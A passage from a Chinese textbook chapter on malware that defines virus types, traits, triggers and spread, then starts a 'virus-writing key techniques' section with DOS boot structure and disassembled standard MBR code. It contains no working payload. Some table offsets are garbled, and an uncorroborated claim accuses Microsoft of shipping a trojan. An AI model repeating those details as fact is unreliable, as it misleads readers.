




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
惡意程式及其防範(fàn)電腦病毒是惡意程式的一種。所謂惡意程式,是指一類(lèi)特殊的程式,它們通常在用戶不知曉也未授權(quán)的情況下潛入到電腦系統(tǒng)中來(lái)。惡意程式可以分為許多類(lèi)型。圖1.1為按照有無(wú)自我複製功能和需要不需要宿主對(duì)惡意程式的分類(lèi)情形。陷門(mén)(TrapDoors)是進(jìn)入程式的一些秘密入口。陷門(mén)中有些是程式員為了進(jìn)行調(diào)試和測(cè)試而預(yù)留的一些特權(quán),有些則是系統(tǒng)漏洞。駭客也挖空心思地設(shè)計(jì)陷門(mén),以便以特殊的、不經(jīng)授權(quán)的方式進(jìn)入系統(tǒng)。陷門(mén)通常寄生於某些程式(有宿主),但無(wú)自我複製功能。邏輯炸彈是嵌入某些合法程式的一段代碼,沒(méi)有自我複製功能,在某些條件下會(huì)執(zhí)行一個(gè)有害程式,造成一些破壞。特洛伊木馬是電腦網(wǎng)絡(luò)中一種包含有害代碼的有用或表面上有用的程式或過(guò)程,啟動(dòng)時(shí)產(chǎn)生有害行為。它們不具備自我複製功能。
細(xì)菌是以自我繁殖為主要目的的程式。蠕蟲(chóng)是一種通過(guò)網(wǎng)路自我複製的惡意程式。通常人們也把它稱(chēng)為病毒的一種。因?yàn)?,蠕蟲(chóng)一旦被啟動(dòng),可以表現(xiàn)得像細(xì)菌和病毒,可以向系統(tǒng)注入特洛伊木馬,或進(jìn)行任何次數(shù)的破壞或毀滅行動(dòng)。典型的蠕蟲(chóng)只會(huì)在內(nèi)存維持一個(gè)活動(dòng)副本。此外,蠕蟲(chóng)是一個(gè)獨(dú)立程式,自身不改變?nèi)魏纹渌淌?,但可以攜帶具有改變其他程式的病毒。其中,電腦病毒是所有電腦用戶在電腦安全問(wèn)題上,經(jīng)常碰到的問(wèn)題。在1999年SecurityPoral的報(bào)告中,排在電腦安全問(wèn)題第一位的是電腦病毒事件,其次是與電腦病毒關(guān)係極為密切的駭客問(wèn)題。所以本章以病毒為主,介紹惡意程式的特點(diǎn)及其防治。
1.1電腦病毒的概念返回1.1.1電腦病毒的定義人類(lèi)發(fā)明了工具,改變了世界,也改變了人類(lèi)自己。自20世紀(jì)40年代起,計(jì)算技術(shù)與電子技術(shù)的結(jié)合,使推動(dòng)人類(lèi)進(jìn)步的工具從體力昇華到了智力。電腦的出現(xiàn),將人類(lèi)帶進(jìn)了資訊時(shí)代,使人類(lèi)生產(chǎn)力進(jìn)入了一個(gè)特別的發(fā)展時(shí)期。
電腦的靈魂是程式。正是建立在微電子載體上的程式,才將電腦的延伸到了人類(lèi)社會(huì)的各個(gè)領(lǐng)域?!俺梢彩捄危瑪∫彩捄巍?。人的智慧可以創(chuàng)造人類(lèi)文明,也可以破壞人類(lèi)已經(jīng)創(chuàng)造的文明。隨著電腦系統(tǒng)設(shè)計(jì)技術(shù)向社會(huì)各個(gè)領(lǐng)域急劇擴(kuò)展,人們開(kāi)發(fā)出了將人類(lèi)帶入資訊時(shí)代的電腦程式的同時(shí),也開(kāi)發(fā)出了給電腦系統(tǒng)帶來(lái)副作用的電腦病毒程式。在生物學(xué)界,病毒(virus)是一類(lèi)沒(méi)有細(xì)胞結(jié)構(gòu)但有遺傳、複製等生命特徵,主要由核酸和蛋白質(zhì)組成的有機(jī)體。在《中華人民共和國(guó)電腦資訊系統(tǒng)安全保護(hù)條例》中,電腦病毒(ComputerVirus)被明確定義為:“電腦病毒,是指編制或者在電腦程式中插入的破壞電腦功能或者破壞數(shù)據(jù)、影響電腦使用,並且能夠自我複製的一組電腦指令或者程式代碼”。1.1.2電腦病毒的特徵電腦病毒有一些與生物界中的病毒極為相似的特徵,這也就是所以稱(chēng)其為病毒的緣由。這些特徵有如下一些。1.傳染性和衍生性病毒也是一種程式,它與其他程式的顯著不同之處,就是它的傳染性。與生物界中的病毒可以從一個(gè)生物體傳播到另一個(gè)生物體一樣,電腦病毒可以借助各種管道從已經(jīng)感染的電腦系統(tǒng)擴(kuò)散到其他電腦系統(tǒng)。早在1949年,電腦的先驅(qū)者VonNeumann就在他的論文《複雜自動(dòng)機(jī)組織論》中,提出了電腦程式在內(nèi)存中自我複製的設(shè)想,勾畫(huà)了病毒程式的藍(lán)圖。1977年夏天,美國(guó)作家托馬斯·捷·瑞安在其幻想小說(shuō)《P-1的青春》一書(shū)中構(gòu)思了一種能夠自我複製的電腦程式,第一次使用了“電腦病毒”的術(shù)語(yǔ)。所以自我複製應(yīng)當(dāng)是電腦病毒的主要特徵。
20世紀(jì)60年代初,美國(guó)貝爾實(shí)驗(yàn)室裏,三個(gè)年輕的程式員編寫(xiě)了一個(gè)名為“磁芯大戰(zhàn)”的遊戲,遊戲中通過(guò)複製自身來(lái)擺脫對(duì)方的控制,這就是電腦“病毒”的雛形。1983年美國(guó)電腦專(zhuān)家弗雷德·科恩博士研製出一種在運(yùn)行過(guò)程中可以自我複製的具有破壞性的程式,並在同年11月召開(kāi)的國(guó)際電腦安全學(xué)術(shù)研討會(huì),首次將病毒程式在VAX/750電腦上進(jìn)行了實(shí)驗(yàn)。世界上第一個(gè)電腦病毒就這樣出生在實(shí)驗(yàn)室中。
20世紀(jì)80年代初,電腦病毒(如“巴基斯坦智囊”病毒)主要感染軟碟的引導(dǎo)區(qū)。20世紀(jì)80年代末,出現(xiàn)了感染硬碟的病毒(如“大麻”病毒)。20世紀(jì)90年代初,出現(xiàn)了感染檔的病毒(如“Jerusalem,黑色13號(hào)星期五”病毒)。接著出現(xiàn)了引導(dǎo)區(qū)和文件型“雙料”病毒,既感染磁片引導(dǎo)區(qū)又感染可執(zhí)行檔。20世紀(jì)90年代中期,稱(chēng)為“病毒生產(chǎn)機(jī)”的軟體開(kāi)始出現(xiàn),使病毒的傳播不再是簡(jiǎn)單的自我複製,而是可以自動(dòng)、輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長(zhǎng)度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同。
1995年大量具有相同“遺傳基因”的“同族”病毒的湧現(xiàn),標(biāo)誌著“病毒生產(chǎn)機(jī)”軟體已出現(xiàn)。目前國(guó)際上已有上百種“病毒生產(chǎn)機(jī)”軟體。這種“病毒生產(chǎn)機(jī)”軟體不用絞盡腦汁地去編程序,便可以輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長(zhǎng)度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同,但主體構(gòu)造和原理基本相同。這就是病毒的衍生性。與此同時(shí),Internet的發(fā)展,也為病毒的快速傳播提供了方便途徑。
2.潛伏性和隱蔽性電腦病毒通常是由技術(shù)高超者編寫(xiě)的比較完美的、精巧嚴(yán)謹(jǐn)、短小精悍的程式。它們常常按照嚴(yán)格的秩序組織,與所在的系統(tǒng)網(wǎng)路環(huán)境相適應(yīng)、相配合。病毒程式一旦取得系統(tǒng)控制權(quán),可以在極短的時(shí)間內(nèi)傳染大量程式。但是,被感染的程式並不是立即表現(xiàn)出異常,而是潛伏下來(lái),等待時(shí)機(jī)。除了不發(fā)作外,電腦病毒的潛伏還依賴(lài)於其隱蔽性。為了隱蔽,病毒通常非常短?。ㄒ话阒挥袔装倩?K位元組,此外還寄生於正常的程式或磁片較隱蔽的地方,也有個(gè)別以隱含檔形式存在,使人不經(jīng)過(guò)代碼分析很難被發(fā)覺(jué)。
20世紀(jì)90年代初,電腦病毒開(kāi)始具有對(duì)抗機(jī)制。例如YankeeDoole病毒,當(dāng)它發(fā)現(xiàn)有人用Debug工具跟蹤它,就會(huì)自動(dòng)從檔中逃走。此外還相繼出現(xiàn)了一些能對(duì)自身進(jìn)行簡(jiǎn)單加密的病毒,如1366(DaLian)、1824(N64)、1741(Dong)、1100等。加密的目的主要是防止跟蹤或掩蓋有關(guān)特徵等。例如在記憶體有1741病毒時(shí),用DIR列目錄表,病毒會(huì)掩蓋被感染檔所增加的位元組數(shù),使人看起來(lái)位元組數(shù)很正常。
3.寄生性(1)病毒的寄生場(chǎng)所寄生是病毒的重要特徵。電腦病毒一般寄生在以下地方:(a)寄生在可執(zhí)行程式中。一旦程式執(zhí)行,病毒就被啟動(dòng),病毒程式首先被執(zhí)行並常駐記憶體,然後置觸發(fā)條件。感染的檔被執(zhí)行後,病毒就會(huì)趁機(jī)感染下一個(gè)檔。檔型病毒可以分為源碼型病毒、嵌入型病毒和外殼型病毒。源碼型病毒是用高級(jí)語(yǔ)言編寫(xiě)的,不進(jìn)行編譯、鏈接,就無(wú)法傳染擴(kuò)散。嵌入型病毒是嵌入在程式的中間,只能針對(duì)某些具體程式。外殼型病毒寄生在宿主程式的前面或後面,並修改程式的第1條指令,使病毒先於宿主程式執(zhí)行,以便一執(zhí)行宿主程式就傳染一次。
(b)寄生在硬碟的主引導(dǎo)扇區(qū)中。這類(lèi)病毒也稱(chēng)引導(dǎo)型病毒。任何操作系統(tǒng)都有自舉過(guò)程,自舉依靠引導(dǎo)模組進(jìn)行,而操作系統(tǒng)的引導(dǎo)模組總是放在某個(gè)固定位置,這樣系統(tǒng)每次啟動(dòng)就會(huì)在這個(gè)固定的地方來(lái)將引導(dǎo)模組讀入記憶體,緊接著就執(zhí)行它,來(lái)把操作系統(tǒng)讀入記憶體,實(shí)現(xiàn)控制權(quán)的轉(zhuǎn)接。引導(dǎo)型病毒程式就是利用這一點(diǎn),它自身佔(zhàn)據(jù)了引導(dǎo)扇區(qū)而將原來(lái)的引導(dǎo)扇區(qū)的內(nèi)容和病毒的其他部分放到磁片的其他空間,並將這些扇區(qū)標(biāo)誌為壞簇,不可寫(xiě)其他資訊。這樣,系統(tǒng)的一次初始化,就啟動(dòng)一次病毒,它首先將自身拷貝到記憶體,等待觸發(fā)條件到來(lái)。
引導(dǎo)型病毒按其寄生對(duì)象,可以分為MBR(主引導(dǎo)區(qū))病毒和BR(引導(dǎo)區(qū))病毒。MBR病毒也稱(chēng)分區(qū)病毒,這類(lèi)病毒寄生在硬碟分區(qū)主引導(dǎo)程式所佔(zhàn)據(jù)的硬碟0頭0柱面第1扇區(qū),典型的有Stoned(大麻)病毒、2708病毒等。BR病毒則寄生在硬碟邏輯0扇區(qū)或軟碟0扇區(qū)(即0面0道的第1扇區(qū)),典型的有Brain病毒、小球病毒等。
(2)電腦病毒的寄生方式(a)替代法:病毒程式用自己的全部或部分代碼,替代磁片引導(dǎo)扇區(qū)或檔中的全部或部分內(nèi)容。(b)鏈接法:病毒程式將自身代碼作為正常程式的一部分與原有正常程式鏈接在一起。鏈接的位置可能在正常程式的首部、尾部或中間。
4.觸發(fā)性潛伏下來(lái)的電腦病毒一般要在一定的條件下才被啟動(dòng),發(fā)起攻擊。病毒具有判斷這個(gè)條件的功能。
5.非授權(quán)執(zhí)行性用戶在調(diào)用一個(gè)程式時(shí),常常就把系統(tǒng)的控制權(quán)交給這個(gè)程式並給它分配相應(yīng)的系統(tǒng)資源,使程式的執(zhí)行對(duì)用戶是透明的。電腦病毒具有正常程式所具有的一切特性,它隱蔽在合法程式和數(shù)據(jù)中;當(dāng)用戶運(yùn)行正常程式時(shí),病毒伺機(jī)取得系統(tǒng)的控制權(quán),先於正常程式執(zhí)行,並對(duì)用戶呈透明狀態(tài)。
6.破壞性電腦病毒的設(shè)計(jì)者進(jìn)行病毒程式設(shè)計(jì)的目的就是為了攻擊破壞。下麵對(duì)病毒的破壞性進(jìn)行分類(lèi)介紹。(1)病毒破壞的能力按照病毒的破壞能力,可將病毒劃分為以下幾種:·無(wú)害型:除了傳染時(shí)減少磁片的可用空間外,對(duì)系統(tǒng)沒(méi)有其他影響?!o(wú)危險(xiǎn)型:這類(lèi)病毒僅僅是減少記憶體、顯示圖像、發(fā)出聲音及同類(lèi)音響?!のkU(xiǎn)型:這類(lèi)病毒在電腦系統(tǒng)操作中造成嚴(yán)重的錯(cuò)誤?!し浅NkU(xiǎn)型:這類(lèi)病毒刪除程式、破壞數(shù)據(jù)、清除系統(tǒng)記憶體區(qū)和操作系統(tǒng)中重要的資訊。
(2)病毒的入侵方式
(a)源代碼嵌入攻擊型這類(lèi)病毒主要入侵高級(jí)語(yǔ)言的根源程式。病毒在根源程式編譯之前就插入進(jìn)來(lái),最後隨根源程式一起被編譯成帶毒可執(zhí)行檔。這類(lèi)帶毒檔是極少數(shù),因?yàn)檫@些病毒開(kāi)發(fā)者不可能輕易得到那些軟體開(kāi)發(fā)公司編譯前的根源程式,並且入侵的方式難度較大,需要非常專(zhuān)業(yè)的編程水準(zhǔn)。(b)代碼取代攻擊型這類(lèi)病毒主要是用它自身的代碼取代某個(gè)入侵程式或該程式的部分模組。這類(lèi)病毒也少見(jiàn),它主要是攻擊特定的程式,針對(duì)性較強(qiáng),但是不易被發(fā)現(xiàn),清除起來(lái)也較困難。
(c)系統(tǒng)修改型這類(lèi)病毒主要是用自身代碼覆蓋或修改系統(tǒng)中的某些檔來(lái)達(dá)到調(diào)用或替代操作系統(tǒng)中的部分功能,由於是直接感染系統(tǒng),危害較大,也是最為多見(jiàn)的一種病毒類(lèi)型,多為檔型病毒。(d)外殼附加型這類(lèi)病毒通常附加在正常程式的頭部或尾部,相當(dāng)於給程式添加了一個(gè)外殼,在被感染的程式執(zhí)行時(shí),病毒代碼先被執(zhí)行,然後才將正常程式調(diào)入記憶體。目前大多數(shù)檔型的病毒屬於這一類(lèi)。
(3)病毒破壞性的表現(xiàn)(a)佔(zhàn)用CPU資源,額外佔(zhàn)用或消耗記憶體空間,或禁止分配記憶體、蠶食記憶體,導(dǎo)致一些大型程式執(zhí)行受阻,使系統(tǒng)性能下降。(b)干擾系統(tǒng)運(yùn)行,例如不執(zhí)行命令、干擾內(nèi)部命令的執(zhí)行、虛發(fā)報(bào)警資訊、打不開(kāi)檔、內(nèi)部棧溢出、佔(zhàn)用特殊數(shù)據(jù)區(qū)、時(shí)鐘倒轉(zhuǎn)、重啟動(dòng)、死機(jī)、檔無(wú)法存盤(pán)、檔存盤(pán)時(shí)丟失位元組、記憶體減小、格式化硬碟等。(c)攻擊CMOS。CMOS是保存系統(tǒng)參數(shù)(如系統(tǒng)時(shí)鐘、磁片類(lèi)型、記憶體容量等)的重要場(chǎng)所。有的病毒(如CIH病毒)可以通過(guò)改寫(xiě)CMOS參數(shù),破壞系統(tǒng)硬體的運(yùn)行。(d)攻擊系統(tǒng)數(shù)據(jù)區(qū)。硬碟的主引導(dǎo)扇區(qū)、boot(引導(dǎo))扇區(qū)、FAT(檔分配)表、檔目錄等,是系統(tǒng)重要的數(shù)據(jù),這些數(shù)據(jù)一旦受損,將造成相關(guān)檔的破壞。
(e)干擾外部設(shè)備運(yùn)行,如·干擾鍵盤(pán)操作。如EDV病毒能封鎖鍵盤(pán),使按任何鍵都沒(méi)有反應(yīng);還有病毒產(chǎn)生換字、抹掉緩存區(qū)字元、輸入紊亂等?!じ蓴_螢?zāi)伙@示。如小球病毒產(chǎn)生跳動(dòng)的小白點(diǎn);瀑布病毒使顯示的字元像雨點(diǎn)一樣一個(gè)個(gè)落到螢?zāi)坏撞康??!じ蓴_聲響。如感染Attention病毒後,每按一鍵,喇叭就響一聲;YankeeDoodle病毒在每天下午5時(shí)整會(huì)播出歌曲“YankeeDoodle”;救護(hù)車(chē)病毒(AmbulanceCar)會(huì)在螢?zāi)簧铣霈F(xiàn)一輛鳴著警笛來(lái)回跑的救護(hù)車(chē)?!じ蓴_印表機(jī)。如Azsua病毒可以封鎖印表機(jī)介面LPT1,當(dāng)使用印表機(jī)時(shí),會(huì)發(fā)出缺紙的假報(bào)警;1024SBC病毒會(huì)使印表機(jī)出現(xiàn)斷斷續(xù)續(xù)的列印失常;Typo-COM病毒會(huì)更換字元。
(f)攻擊檔。現(xiàn)在發(fā)現(xiàn)的病毒中,大多數(shù)是檔型病毒。這些病毒會(huì)使染毒檔的長(zhǎng)度、檔存盤(pán)時(shí)間和日期發(fā)生變化。例如,百年病毒、4096病毒等。(g)劫取機(jī)密數(shù)據(jù)。例如,微軟公司在它的MicrosoftNetwork中加入一種特洛伊木馬程式,會(huì)把用戶系統(tǒng)軟體和硬體的完整清單送回到微軟公司。(h)破壞網(wǎng)路系統(tǒng)的正常運(yùn)行。例如發(fā)送垃圾郵件、佔(zhàn)用帶寬,使網(wǎng)路拒絕服務(wù)等。有些病毒的破壞作用往往是多樣的。
1.1.3電腦病毒的結(jié)構(gòu)電腦病毒的種類(lèi)很多,但是它們的主要結(jié)構(gòu)是類(lèi)似的,一般需要包含4部分:引導(dǎo)部分、傳染部分、表現(xiàn)部分和破壞部分。(1)引導(dǎo)部分:就是病毒程式的初始化部分。它的作用是將病毒的主體加載到記憶體,為傳染部分做準(zhǔn)備(如駐留記憶體、修改中斷、修改高端記憶體、保存原中斷向量等操作)。(2)傳染部分:作用是將病毒代碼複製到傳染目標(biāo)上去。傳染需要一定的條件。不同類(lèi)型的病毒在傳染方式、傳染條件上各不相同。進(jìn)行傳播之前,先要判斷傳染條件。(3)表現(xiàn)部分:作用是在被傳染系統(tǒng)上表現(xiàn)出特定現(xiàn)象。大部分病毒都是在一定條件下才會(huì)觸發(fā)表現(xiàn)部分的。(4)破壞部分:作用是產(chǎn)生破壞被傳染系統(tǒng)的行為。
1.2電腦病毒原理
返回1.2.1電腦病毒的引導(dǎo)過(guò)程電腦病毒的引導(dǎo)過(guò)程一般分為三步:駐留記憶體、竊取控制權(quán)和恢復(fù)系統(tǒng)功能。1.駐留記憶體病毒要發(fā)揮其破壞作用,多數(shù)要駐留記憶體。為了駐留記憶體,就必須開(kāi)闢記憶體空間或覆蓋系統(tǒng)佔(zhàn)用的部分記憶體空間。2.竊取控制權(quán)電腦病毒駐留記憶體後,接下來(lái)的工作是取代或擴(kuò)充系統(tǒng)原有功能,並竊取系統(tǒng)的控制權(quán)。3.恢復(fù)系統(tǒng)功能電腦病毒竊取系統(tǒng)控制權(quán)後,就要開(kāi)始潛伏等待,即根據(jù)其設(shè)計(jì)思想,隱蔽自己,等待時(shí)機(jī),在條件成熟時(shí),再進(jìn)行傳染和破壞。然而,病毒為了隱蔽自己,駐留記憶體後還要恢復(fù)系統(tǒng),使系統(tǒng)不致死機(jī)。
1.2.2電腦病毒的觸發(fā)機(jī)制下麵例舉一些病毒的觸發(fā)(啟動(dòng))條件。(1)日期/時(shí)間觸發(fā):電腦病毒讀取系統(tǒng)時(shí)鐘,判斷是否啟動(dòng)。例如:PETER-2,在每年2月27日會(huì)提出3個(gè)問(wèn)題,答錯(cuò)後會(huì)將硬碟加密。YankeeDoodle,在每天下午5時(shí)發(fā)作?!昂谏瞧谖濉保?3日的星期五發(fā)作?!吧虾R惶?hào)”,在每年的三、六、九月的13日發(fā)作。1998年2月,臺(tái)灣省的陳盈豪,編寫(xiě)出了破壞性極大的Windows惡性病毒CIH-1.2版,並定於每年的4月26日發(fā)作破壞,然後,悄悄地潛伏在網(wǎng)上的一些供人下載的軟體中??墒?,兩個(gè)月的時(shí)間,被人下載的不多,到了4月26日,病毒只在臺(tái)灣省少量發(fā)作,並沒(méi)引起重視。陳盈豪又炮製了CIH-1.3版,並將破壞時(shí)間設(shè)在6月26日。7月,又炮製出了CIH-1.4版。這次,他乾脆將破壞時(shí)間設(shè)為每個(gè)月的26日。
(2)計(jì)數(shù)器觸發(fā):電腦病毒內(nèi)部設(shè)定一個(gè)計(jì)數(shù)單元,對(duì)系統(tǒng)事件進(jìn)行計(jì)數(shù),判定是否啟動(dòng)。例如,2708病毒當(dāng)系統(tǒng)啟動(dòng)次數(shù)達(dá)到32次時(shí)被啟動(dòng),發(fā)起對(duì)串、並口地址的攻擊。(3)鍵盤(pán)觸發(fā):當(dāng)敲入某些字元時(shí)觸發(fā)(如AIDS病毒,在敲如A、I、D、S時(shí)發(fā)作)、或以擊鍵次數(shù)(如Devil’sDance病毒在用戶第2000次擊鍵時(shí)被觸發(fā))或組合鍵等為激發(fā)條件(如Invader病毒在按下Ctrl+Alt+Del鍵時(shí)發(fā)作)。(4)啟動(dòng)觸發(fā):以系統(tǒng)的啟動(dòng)次數(shù)作為觸發(fā)條件。例如Anti-Tei和Telecom病毒當(dāng)系統(tǒng)第400次啟動(dòng)時(shí)被啟動(dòng)。(5)感染觸發(fā):以感染檔個(gè)數(shù)、感染序列、感染磁片數(shù)、感染失敗數(shù)作為觸發(fā)條件。例如,BlackMonday病毒在運(yùn)行第240個(gè)染毒程式時(shí)被啟動(dòng);VHP2病毒每感染8個(gè)檔就會(huì)觸發(fā)系統(tǒng)熱啟動(dòng)操作等。(6)組合條件觸發(fā):用多種條件綜合使用,作為電腦病毒的觸發(fā)條件。
1.2.3電腦病毒的傳播電腦病毒的傳播過(guò)程就是其傳染過(guò)程。病毒的傳染大體上有如下三個(gè)途徑:1.檔傳染傳播病毒的檔可以分為三類(lèi):(1)可執(zhí)行檔,即擴(kuò)展名為.EXE,.PE,.SYS等的檔。(2)文檔檔或數(shù)據(jù)檔,例如Word文檔,Exel文檔,Accss資料庫(kù)檔。巨集病毒(Macro)就感染這些檔。(3)Web文檔,如.html文檔和.htm文檔。已經(jīng)發(fā)現(xiàn)的Web病毒有HTML/Prepend和HTML/Redirect等。
檔傳染可能採(cǎi)用如下一種方式:(1)駐留(Resident)複製:複製病毒裝入記憶體後,發(fā)現(xiàn)另一個(gè)系統(tǒng)運(yùn)行的程式檔後進(jìn)行傳染。(2)非駐留(Nonrresident)複製:病毒選擇磁片上一個(gè)或多個(gè)檔,不等它們裝入記憶體,就直接進(jìn)行感染。
2.引導(dǎo)扇區(qū)傳染引導(dǎo)扇區(qū)病毒在系統(tǒng)初始化時(shí)自動(dòng)裝入記憶體,然後簡(jiǎn)單地將指令指針(指令計(jì)數(shù)器的內(nèi)容)修改到一個(gè)存儲(chǔ)系統(tǒng)指令的新的位置。於是便以普通方式啟動(dòng),而病毒已經(jīng)駐留在了記憶體。所以,不需要用戶執(zhí)行磁片上任何被感染的程式,只要有訪問(wèn)磁片的操作,就可以進(jìn)行複製。
3.網(wǎng)路及電子郵件傳播與檔傳播和引導(dǎo)扇區(qū)傳播不同,由於數(shù)據(jù)共用和相互協(xié)作網(wǎng)絡(luò)傳播的是病毒直接通過(guò)網(wǎng)路傳染到目標(biāo)機(jī)系統(tǒng)。
1.3電腦病毒編制的關(guān)鍵技術(shù)
返回1.3.1DOS引導(dǎo)型病毒編制的關(guān)鍵技術(shù)1.DOS系統(tǒng)的結(jié)構(gòu)DOS系統(tǒng)由以下4部分組成:(1)引導(dǎo)記錄(BootRecord)。用於將IO.SYS模組裝入記憶體。(2)IO.SYS(DOS的基本輸入輸出模組BIOS),由下麵兩塊組成:
·系統(tǒng)初始化程式SYSINIT,完成初始化工作,主要包括:確定系統(tǒng)設(shè)備配置和記憶體容量;初始化串、I/O並口;計(jì)算後面模組的裝入位置並將MSDOS.SYS和COMMAND.COM裝入記憶體;設(shè)置系統(tǒng)參數(shù),加載設(shè)置驅(qū)動(dòng)程式。
·標(biāo)準(zhǔn)字元和塊設(shè)備驅(qū)動(dòng)程,用於支持基本輸入輸出操作。(3)MSDOS.SYS(DOS的內(nèi)核),提供應(yīng)用程式管理、記憶體管理、檔管理等。(4)COMMAND.COM(DOS的外殼),是用戶與操作系統(tǒng)的介面。
2.DOS磁片的區(qū)域分配DOS格式化磁片由4個(gè)區(qū)域組成:引導(dǎo)扇區(qū)(BootArea)——硬碟含有主引導(dǎo)扇區(qū)、檔分配表(FAT)、根目錄表(RootDirectoryTable,F(xiàn)DT)和文件數(shù)據(jù)區(qū)(DataArea)。表1.1為DOS格式化磁片的區(qū)域組成。其中;邏輯區(qū)號(hào)=[柱面號(hào)×總面積+面號(hào)]×每到扇區(qū)數(shù)+扇區(qū)號(hào)表1.1DOS格式化磁片的區(qū)域組成。
360k軟碟分佈起始物理扇區(qū)20M硬碟分佈邏輯扇區(qū)號(hào)對(duì)應(yīng)區(qū)域頭號(hào)柱面號(hào)扇區(qū)號(hào)邏輯扇區(qū)號(hào)對(duì)應(yīng)區(qū)域01~45~1112~719
BOOT區(qū)FAT表根目錄表數(shù)據(jù)區(qū)0111300011112161401~8283~114115~41598主引導(dǎo)區(qū)BOOT區(qū)FAT表根目錄表數(shù)據(jù)區(qū)(1)主引導(dǎo)扇區(qū),位於硬碟的0柱面0磁軌1扇區(qū),存放有主引導(dǎo)記錄(MianBootRecord,MBR)和4個(gè)分區(qū)表(DiskPartitionTable,DPT)。圖1.2為主引導(dǎo)扇區(qū)的結(jié)構(gòu)。
區(qū)域資訊內(nèi)容0000H~00BAH主引導(dǎo)記錄啟動(dòng)程式008BH~00D9H主引導(dǎo)記錄啟動(dòng)字串01DAH~01BDH空閒區(qū)01BEH~01CDH分區(qū)1結(jié)構(gòu)資訊01CEH~01DDH分區(qū)1結(jié)構(gòu)資訊01DEH~01FDH分區(qū)1結(jié)構(gòu)資訊01EEH~01FDH分區(qū)1結(jié)構(gòu)資訊01FEH~01FFH55AAH主引導(dǎo)記錄有效標(biāo)誌MBR的作用是檢查分區(qū)表是否正確以及確定哪個(gè)分區(qū)為引導(dǎo)分區(qū)(要將控制權(quán)交給的操作系統(tǒng)所在分區(qū)),並在程式結(jié)束時(shí)把該分區(qū)的啟動(dòng)程式(即操作系統(tǒng)引導(dǎo)扇區(qū))調(diào)入記憶體加以執(zhí)行。
(2)引導(dǎo)扇區(qū)位於邏輯0扇區(qū)處(即軟碟的0面0道1扇區(qū),硬碟的DOS分區(qū)的1扇區(qū))。在DOS的啟動(dòng)過(guò)程中,中斷服務(wù)程式INT19H(自舉程式)將引導(dǎo)記錄
調(diào)入記憶體的0000H~7C00H處,並把控制權(quán)交給它。這時(shí),引導(dǎo)記錄將檢查啟動(dòng)盤(pán)上是否有DOS系統(tǒng),即根目錄中的前兩個(gè)檔是否為IO.SYS和MSDOS.SYS。若是,則把檔IO.SYS讀入到記憶體的70H~0H處,並把主控制權(quán)交給IO.SYS;否則給出非系統(tǒng)盤(pán)的錯(cuò)誤資訊。
3.DOS的自舉過(guò)程圖1.3為DOS的自舉過(guò)程??梢钥闯?,在這個(gè)自舉過(guò)程中,系統(tǒng)的控制權(quán)按照下麵的順序轉(zhuǎn)移:ROMBIOS→DOS引導(dǎo)程式→IO.SYS→MSDOS.SYS→COMMAND.COM→用戶
主引導(dǎo)記錄程式的基本功能是讀出自舉分區(qū)的BOOT程式,並把控制權(quán)轉(zhuǎn)移到分區(qū)BOOT程式。在這一過(guò)程中,關(guān)鍵性的技術(shù)有:(1)將本來(lái)要讀入到0000:7C00H處的硬碟主引導(dǎo)記錄程式轉(zhuǎn)移到0000:0600H處。代碼段如下:
偏移 機(jī)器碼 符號(hào)指令 說(shuō)明
0000 FA cli ;遮罩中斷0001 33C0 xorax,ax ;0003 8ED0 movss,ax ;(ss)=0000H0005 BC007C movsp,7c00 ;(sp)=7C00H0008 8BF4 movsi,sp ;(si)=7C00H000A 50 pushax ;000B 07 popes ;(es)=0000H000C 50 pushax ;000D 1F popds ;(ds)=0000H000E FB sti ;000F FC cld ;0010 BF0006 movdi,0600 ;0013 890001 movcx,0100 ;0016 F2 repnz ;A5 movsw ;主引導(dǎo)程式把自己從0000:7c00處搬移到0000:0600處, ;為DOS分區(qū)的引導(dǎo)程式騰出空間 …(2)順序讀入4個(gè)分區(qū)表的自舉標(biāo)誌,以找出自舉分區(qū):若找不到,就轉(zhuǎn)向執(zhí)行INT18H的BOOT異常,執(zhí)行異常中斷程式。偏移 機(jī)器碼 符號(hào)指令 說(shuō)明001D BEBE07 movsi,07be ;分區(qū)表首地址01BE=07BE-06000020 B304 movbl,04 ;最多4個(gè)分區(qū)0022 803C80 cmpbyteptr[si],80 ;80H表示活動(dòng)分區(qū)0025 740E jz0035 ;找到活動(dòng)分區(qū)則跳走0027 803C00 cmpbyteptr[si],00 ;00H表示有效分區(qū)002A 751C jnz0048;非80H,也非00H,為無(wú)效分區(qū)002C 83C610 addsi,+10;下一個(gè)分區(qū)表項(xiàng),每項(xiàng)16(10H)位元組002F FECB decbl ;迴圈計(jì)數(shù)減10031 75EF jnz0022;檢查下一個(gè)分區(qū)表項(xiàng)0033 CD18 int18 ;4個(gè)都不可引導(dǎo),進(jìn)入ROMBIOS0035 8B14 movdx,[si] 0037 8B4C02 movcx,[si+02];取分區(qū)的引導(dǎo)扇區(qū)的柱面、扇區(qū)活動(dòng)003A 8BEE movbp,si;繼續(xù)檢查後面的分區(qū)表項(xiàng)003C 83C610 addsi,+10 …(3)找到自舉分區(qū)後,檢測(cè)該分區(qū)的標(biāo)誌:如果是32位或16位FAT,並支持13號(hào)中斷的擴(kuò)展功能,就轉(zhuǎn)到執(zhí)行13號(hào)中斷的41號(hào)功能調(diào)用,進(jìn)行安裝檢測(cè);檢測(cè)成功,就執(zhí)行42號(hào)擴(kuò)展功能調(diào)用,把BOOT程式讀入到記憶體0000:7c00H處。讀入成功,就執(zhí)行0000:7c00H處的程式;讀入失敗,就調(diào)用13號(hào)中斷的讀扇區(qū)功能,把BOOT程式讀入到記憶體0000:7c00H處。4.引導(dǎo)型病毒的傳染過(guò)程引導(dǎo)型病毒制駐留在硬碟的主引導(dǎo)分區(qū)或硬/軟碟的DOS引導(dǎo)分區(qū)的病毒。它的感染過(guò)程分兩大步:裝入記憶體和攻擊。(1)裝入記憶體過(guò)程:
